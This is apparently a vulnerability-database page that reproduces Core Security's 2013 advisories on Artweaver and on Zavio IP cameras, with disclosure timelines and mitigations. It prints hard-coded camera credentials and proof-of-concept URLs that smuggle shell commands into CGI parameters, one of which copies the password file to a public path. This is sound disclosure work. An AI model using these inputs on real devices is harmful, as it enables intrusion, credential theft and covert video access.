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6 vulnerabilities by zavio
VAR-202504-2060
Vulnerability from variot - Updated: 2025-04-20 23:24ZAVIO F531 and ZAVIO F511W have an unauthorized access vulnerability that can be exploited by attackers to obtain sensitive information.
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VAR-201308-0077
Vulnerability from variot - Updated: 2025-04-11 22:55Buffer overflow in Artweaver before 3.1.6 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted AWD file. Zavio IP Cameras are webcam products. In the Boa web server used by Zavio IP Cameras, there is an account in the configuration file 'boa.conf' which cannot be seen from the user web interface, but can access two files in '/cgi-bin/mft/' through this account. ('manufacture.cgi', 'wireless_mft.cgi'), one of the files has an OS command injection vulnerability. Can lead to illegal access to affected products. Artweaver is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed exploit attempts may result in a denial-of-service condition. Artweaver 3.1.5 is vulnerable; other versions may also be affected. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/
Artweaver Buffer Overflow Vulnerability
- Advisory Information
Title: Artweaver Buffer Overflow Vulnerability Advisory ID: CORE-2013-0701 Advisory URL: http://www.coresecurity.com/advisories/artweaver-buffer-overflow-vulnerability Date published: 2013-07-22 Date of last update: 2013-07-22 Vendors contacted: Artweaver Release mode: Coordinated release
- Vulnerability Information
Class: Buffer overflow [CWE-119] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2576
- Vulnerability Description
Artweaver [1], [2] is prone to a security vulnerability when processing AWD files.
-
Artweaver v3.1.5.
-
Non-Vulnerable Packages
. Artweaver v3.1.6. Artweaver v4.0.
- Vendor Information, Solutions and Workarounds
Vendor notifies that Artweaver v3.1.6 and v4.0 are available and fix the reported vulnerability. Vendor encourages all Artweaver users to update to the latest version:
- http://www.artweaver.de/en/help/68
- Artweaver Plus - http://www.artweaver.de/en/help/80
-
Artweaver Free - http://www.artweaver.de/en/help/81
-
Credits
This vulnerability was discovered and researched by Daniel Kazimirow from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
Below is shown the result of opening the maliciously crafted file 'CORE-2013-0701-artweaver-poc-28ab190b137f3.AWD'[3], which means the normal execution flow can be altered in order to execute arbitrary code.
/----- 004F3265 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 004F3268 8B40 28 MOV EAX,DWORD PTR DS:[EAX+28] 004F326B 8B10 MOV EDX,DWORD PTR DS:[EAX] 004F326D FF12 CALL DWORD PTR DS:[EDX] ; <--- crash
DS:[45454545]=???
EAX 030F9C48 ASCII "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE ECX 019983F0 EDX 45454545 EBX 019983F0 ESP 0012FB7C EBP 0012FB90 ESI 00000000 EDI 00000013 EIP 004F326D Artweave.004F326D C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDF000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) ST0 empty -??? FFFF 00005FEE 0F0566FB ST1 empty -??? FFFF 00000000 0F05070D ST2 empty -??? FFFF 00000000 00060010 ST3 empty -??? FFFF 00000000 002C006F ST4 empty -NAN FFFF 8F669BF5 EFE5EDFD ST5 empty 6.0925232094539560960e+16 ST6 empty -7.8331661972355807100e+18 ST7 empty 5.8691123250627328000e+16 3 2 1 0 E S P U O Z D I FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT) FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0 -----/
- Report Timeline . 2013-07-04: Core Security Technologies notifies the Artweaver team of the vulnerability. 2013-07-05: Vendor asks for a report with technical information. 2013-07-05: Technical details sent to Artweaver team. Core notifies that the publication date is scheduled for the end of July. 2013-07-06: Vendor reproduces the buffer overrun and notifies that they are looking for the cause of the problem. 2013-07-10: Vendor notifies that this vulnerability will be fixed with the next Artweaver update v3.1.6, scheduled for July 20th. 2013-07-10: Core re-schedules the advisory publication for Monday 22nd. 2013-07-20: Vendor notifies patched versions were released and aditional information for Artweaver users. [Sec. 6]
. 2013-07-22: Advisory CORE-2013-0701 released.
- References
[1] http://www.artweaver.de. [2] http://www.b-e-soft.com/products#artweaver. [3] http://www.coresecurity.com/system/files/attachments/2013/07/CORE-2013-0701-artweaver-poc-28ab190b137f3.zip
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
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"data": "Buffer overflow in Artweaver before 3.1.6 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted AWD file. Zavio IP Cameras are webcam products. In the Boa web server used by Zavio IP Cameras, there is an account in the configuration file \u0027boa.conf\u0027 which cannot be seen from the user web interface, but can access two files in \u0027/cgi-bin/mft/\u0027 through this account. (\u0027manufacture.cgi\u0027, \u0027wireless_mft.cgi\u0027), one of the files has an OS command injection vulnerability. Can lead to illegal access to affected products. Artweaver is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. \nAttackers may leverage this issue to execute arbitrary code in the context of the application. Failed exploit attempts may result in a denial-of-service condition. \nArtweaver 3.1.5 is vulnerable; other versions may also be affected. Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nArtweaver Buffer Overflow Vulnerability\n\n\n1. *Advisory Information*\n\nTitle: Artweaver Buffer Overflow Vulnerability\nAdvisory ID: CORE-2013-0701\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/artweaver-buffer-overflow-vulnerability\nDate published: 2013-07-22\nDate of last update: 2013-07-22\nVendors contacted: Artweaver\nRelease mode: Coordinated release\n\n\n2. *Vulnerability Information*\n\nClass: Buffer overflow [CWE-119]\nImpact: Code execution\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2576\n\n\n3. *Vulnerability Description*\n\nArtweaver [1], [2] is prone to a security vulnerability when processing\nAWD files. \n\n\n4. Artweaver v3.1.5. \n\n\n5. *Non-Vulnerable Packages*\n\n . Artweaver v3.1.6. Artweaver v4.0. \n\n\n6. *Vendor Information, Solutions and Workarounds*\n\nVendor notifies that Artweaver v3.1.6 and v4.0 are available and fix the\nreported vulnerability. Vendor encourages all Artweaver users to update\nto the latest version:\n\n 1. http://www.artweaver.de/en/help/68\n 2. Artweaver Plus - http://www.artweaver.de/en/help/80\n 3. Artweaver Free - http://www.artweaver.de/en/help/81\n\n\n7. *Credits*\n\nThis vulnerability was discovered and researched by Daniel Kazimirow\nfrom Core Exploit Writers Team. The publication of this advisory was\ncoordinated by Fernando Miranda from Core Advisories Team. \n\n\n8. *Technical Description / Proof of Concept Code*\n\nBelow is shown the result of opening the maliciously crafted file\n\u0027CORE-2013-0701-artweaver-poc-28ab190b137f3.AWD\u0027[3], which means the\nnormal execution flow can be altered in order to execute arbitrary code. \n\n/-----\n004F3265 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]\n004F3268 8B40 28 MOV EAX,DWORD PTR DS:[EAX+28]\n004F326B 8B10 MOV EDX,DWORD PTR DS:[EAX]\n004F326D FF12 CALL DWORD PTR DS:[EDX] ;\n\u003c--- crash\n\nDS:[45454545]=???\n\nEAX 030F9C48 ASCII\n\"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\nECX 019983F0\nEDX 45454545\nEBX 019983F0\nESP 0012FB7C\nEBP 0012FB90\nESI 00000000\nEDI 00000013\nEIP 004F326D Artweave.004F326D\nC 0 ES 0023 32bit 0(FFFFFFFF)\nP 1 CS 001B 32bit 0(FFFFFFFF)\nA 0 SS 0023 32bit 0(FFFFFFFF)\nZ 0 DS 0023 32bit 0(FFFFFFFF)\nS 0 FS 003B 32bit 7FFDF000(FFF)\nT 0 GS 0000 NULL\nD 0\nO 0 LastErr ERROR_SUCCESS (00000000)\nEFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)\nST0 empty -??? FFFF 00005FEE 0F0566FB\nST1 empty -??? FFFF 00000000 0F05070D\nST2 empty -??? FFFF 00000000 00060010\nST3 empty -??? FFFF 00000000 002C006F\nST4 empty -NAN FFFF 8F669BF5 EFE5EDFD\nST5 empty 6.0925232094539560960e+16\nST6 empty -7.8331661972355807100e+18\nST7 empty 5.8691123250627328000e+16\n 3 2 1 0 E S P U O Z D I\nFST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)\nFCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0\n-----/\n\n\n9. *Report Timeline*\n. 2013-07-04:\nCore Security Technologies notifies the Artweaver team of the\nvulnerability. 2013-07-05:\nVendor asks for a report with technical information. 2013-07-05:\nTechnical details sent to Artweaver team. Core notifies that the\npublication date is scheduled for the end of July. 2013-07-06:\nVendor reproduces the buffer overrun and notifies that they are looking\nfor the cause of the problem. 2013-07-10:\nVendor notifies that this vulnerability will be fixed with the next\nArtweaver update v3.1.6, scheduled for July 20th. 2013-07-10:\nCore re-schedules the advisory publication for Monday 22nd. 2013-07-20:\nVendor notifies patched versions were released and aditional information\nfor Artweaver users. [Sec. 6]\n\n. 2013-07-22:\nAdvisory CORE-2013-0701 released. \n\n\n10. *References*\n\n[1] http://www.artweaver.de. \n[2] http://www.b-e-soft.com/products#artweaver. \n[3]\nhttp://www.coresecurity.com/system/files/attachments/2013/07/CORE-2013-0701-artweaver-poc-28ab190b137f3.zip\n\n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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VAR-202001-0852
Vulnerability from variot - Updated: 2024-08-14 13:54A Command Injection vulnerability exists in Zavio IP Cameras through 1.6.3 in the General.Time.NTP.Server parameter to the sub_C8C8 function of the binary /opt/cgi/view/param, which could let a remove malicious user execute arbitrary code. Zavio IP The camera has OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Zavio IP Cameras are prone to a command-injection vulnerability. Exploiting this issue could allow an attacker to execute arbitrary commands in the context of the affected device. Zavio IP Cameras running firmware version 1.6.03 and below are vulnerable. Advisory Information
Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release
- Vulnerability Information
Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
- Vulnerability Description
Multiple vulnerabilities have been found in Zavio IP cameras based on firmware v1.6.03 and below, that could allow an unauthenticated remote attacker:
- [CVE-2013-2567] to bypass user web interface authentication using hard-coded credentials.
- This flaw can also be used to obtain all credentials of registered users.
- [CVE-2013-2569] to access the camera video stream.
-
Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Hard-Coded Credentials in Administrative Web Interface
[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular tiny server for embedded Linux devices. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the Zavio Tech Support and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-05-02: Core asks Zavio Tech Support for a security manager to send a confidential report. 2013-05-09: Core asks for a reply. 2013-05-14: Core asks for a reply. 2013-05-21: Core tries to contact vendor for last time without any reply. 2013-05-28: After 5 failed attempts to report the issues, the advisory CORE-2013-0302 is published as 'user-release'.
-
References
[1] http://www.zavio.com/product.php?id=25. [2] http://zavio.com/product.php?id=23. [3] http://www.boa.org/.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
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"data": "A Command Injection vulnerability exists in Zavio IP Cameras through 1.6.3 in the General.Time.NTP.Server parameter to the sub_C8C8 function of the binary /opt/cgi/view/param, which could let a remove malicious user execute arbitrary code. Zavio IP The camera has OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Zavio IP Cameras are prone to a command-injection vulnerability. \nExploiting this issue could allow an attacker to execute arbitrary commands in the context of the affected device. \nZavio IP Cameras running firmware version 1.6.03 and below are vulnerable. *Advisory Information*\n\nTitle: Zavio IP Cameras multiple vulnerabilities\nAdvisory ID: CORE-2013-0302\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities\nDate published: 2013-05-28\nDate of last update: 2013-05-28\nVendors contacted: Zavio\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Use of hard-coded credentials [CWE-798], OS command injection\n[CWE-78], Incorrect default permissions [CWE-276], OS command injection\n[CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in Zavio IP cameras based on\nfirmware v1.6.03 and below, that could allow an unauthenticated remote\nattacker:\n\n 1. [CVE-2013-2567] to bypass user web interface authentication using\nhard-coded credentials. \n 2. This flaw can also be used to obtain all\ncredentials of registered users. \n 3. [CVE-2013-2569] to access the camera video stream. \n 4. \n\n4. *Vulnerable Packages*\n\n . \n\n5. *Non-Vulnerable Packages*\n\n . Vendor did not provide details. Contact Zavio for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Zavio after several attempts to report\nthese vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \nSome mitigation actions may be:\n\n . Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to\n\u0027manufacture.cgi\u0027 and \u0027wireless_mft.cgi\u0027. Check the parameter \u0027General.Time.NTP.Server\u0027 in requests to\n\u0027/opt/cgi/view/param\u0027. \n\n7. *Credits*\n\nThese vulnerabilities were discovered and researched by Nahuel Riva and\nFrancisco Falcon from Core Exploit Writers Team. The publication of this\nadvisory was coordinated by Fernando Miranda from Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. *Hard-Coded Credentials in Administrative Web Interface*\n\n[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular\ntiny server for embedded Linux devices. \u0027boa.conf\u0027 is the Boa\nconfiguration file, and the following account can be found inside:\n\n/-----\n# MFT: Specify manufacture commands user name and password\nMFT manufacture erutcafunam\n-----/\n\n This account is not visible from the user web interface; users are not\naware of the existence and cannot eliminate it. Through this account it\nis possible to access two CGI files located in \u0027/cgi-bin/mft/\u0027:\n\n 1. \u0027manufacture.cgi\u0027\n 2. \u0027wireless_mft.cgi\u0027\n\nThe last file contains the OS command injection showed in the following\nsection. \n\n8.2. *OS Command Injection*\n\n[CVE-2013-2568] The file \u0027/cgi-bin/mft/wireless_mft.cgi\u0027, has an OS\ncommand injection in the parameter \u0027ap\u0027 that can be exploited using the\nhard-coded credentials showed in the previous section:\n\n/-----\nusername: manufacture\npassword: erutcafunam\n-----/\n\n The following proof of concept copies the file where the user\ncredentials are stored in the web server root directory:\n\n/-----\nhttp://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales\n-----/\n\n Afterwards, the user credentials can be obtained by requesting:\n\n/-----\nhttp://192.168.1.100/credenciales\n-----/\n\n8.3. *RTSP Authentication Disabled by Default*\n\n[CVE-2013-2569] The RTSP protocol authentication is disabled by default. \nTherefore, the live video stream can be accessed by a remote\nunauthenticated attacker by requesting:\n\n/-----\nrtsp://192.168.1.100/video.h264\n-----/\n\n8.4. *OS Command Injection (Post-auth)*\n\n[CVE-2013-2570] The command injection is located in the function\n\u0027sub_C8C8\u0027 of the binary \u0027/opt/cgi/view/param\u0027. The vulnerable parameter\nis \u0027General.Time.NTP.Server\u0027. The following proof of concept can be used\nto obtain the complete list of access points by executing \u0027/sbin/awpriv\nra0 get_site_survey\u0027:\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/param?action=update\u0026General.Time.DateFormat=ymd\u0026General.Time.SyncSource=NTP\u0026General.Time.TimeZone=GMT-06:00/America/Mexico_City\u0026General.Time.NTP.ServerAuto=no\u0026General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;\u0026General.Time.NTP.Update=01:00:00\u0026General.Time.DayLightSaving.Enabled=on\u0026General.Time.DayLightSaving.Start.Type=date\u0026General.Time.DayLightSaving.Stop.Type=date\u0026General.Time.DayLightSaving.Start.Month=01\u0026General.Time.DayLightSaving.Stop.Month=01\u0026General.Time.DayLightSaving.Start.Week=1\u0026General.Time.DayLightSaving.Stop.Week=1\u0026General.Time.DayLightSaving.Start.Day=01\u0026General.Time.DayLightSaving.Stop.Day=01\u0026General.Time.DayLightSaving.Start.Date=01\u0026General.Time.DayLightSaving.Stop.Date=01\u0026General.Time.DayLightSaving.Start.Hour=00\u0026General.Time.DayLightSaving.Stop.Hour=00\u0026General.Time.DayLightSaving.Start.Min=00\u0026General.Time.DayLightSaving.Stop.Min=00\u0026Image.OSD.Enabled=off\n-----/\n\n9. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the Zavio Tech Support and requests\na security manager to send a draft report regarding these\nvulnerabilities. No reply received. 2013-05-02:\nCore asks Zavio Tech Support for a security manager to send a\nconfidential report. 2013-05-09:\nCore asks for a reply. 2013-05-14:\nCore asks for a reply. 2013-05-21:\nCore tries to contact vendor for last time without any reply. 2013-05-28:\nAfter 5 failed attempts to report the issues, the advisory\nCORE-2013-0302 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.zavio.com/product.php?id=25. \n[2] http://zavio.com/product.php?id=23. \n[3] http://www.boa.org/. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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VAR-202001-0851
Vulnerability from variot - Updated: 2024-08-14 13:54A Security Bypass vulnerability exists in Zavio IP Cameras through 1.6.3 because the RTSP protocol authentication is disabled by default, which could let a malicious user obtain unauthorized access to the live video stream. Zavio IP The camera contains an authentication vulnerability.Information may be obtained. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. Zavio IP Cameras running firmware version 1.6.03 and below are vulnerable. Advisory Information
Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release
- Vulnerability Information
Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
- [CVE-2013-2567] to bypass user web interface authentication using hard-coded credentials.
- [CVE-2013-2568] to execute arbitrary commands from the administration web interface. This flaw can also be used to obtain all credentials of registered users.
- [CVE-2013-2569] to access the camera video stream.
-
[CVE-2013-2570] to execute arbitrary commands from the administration web interface (post authentication only).
-
Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Hard-Coded Credentials in Administrative Web Interface
[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular tiny server for embedded Linux devices. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
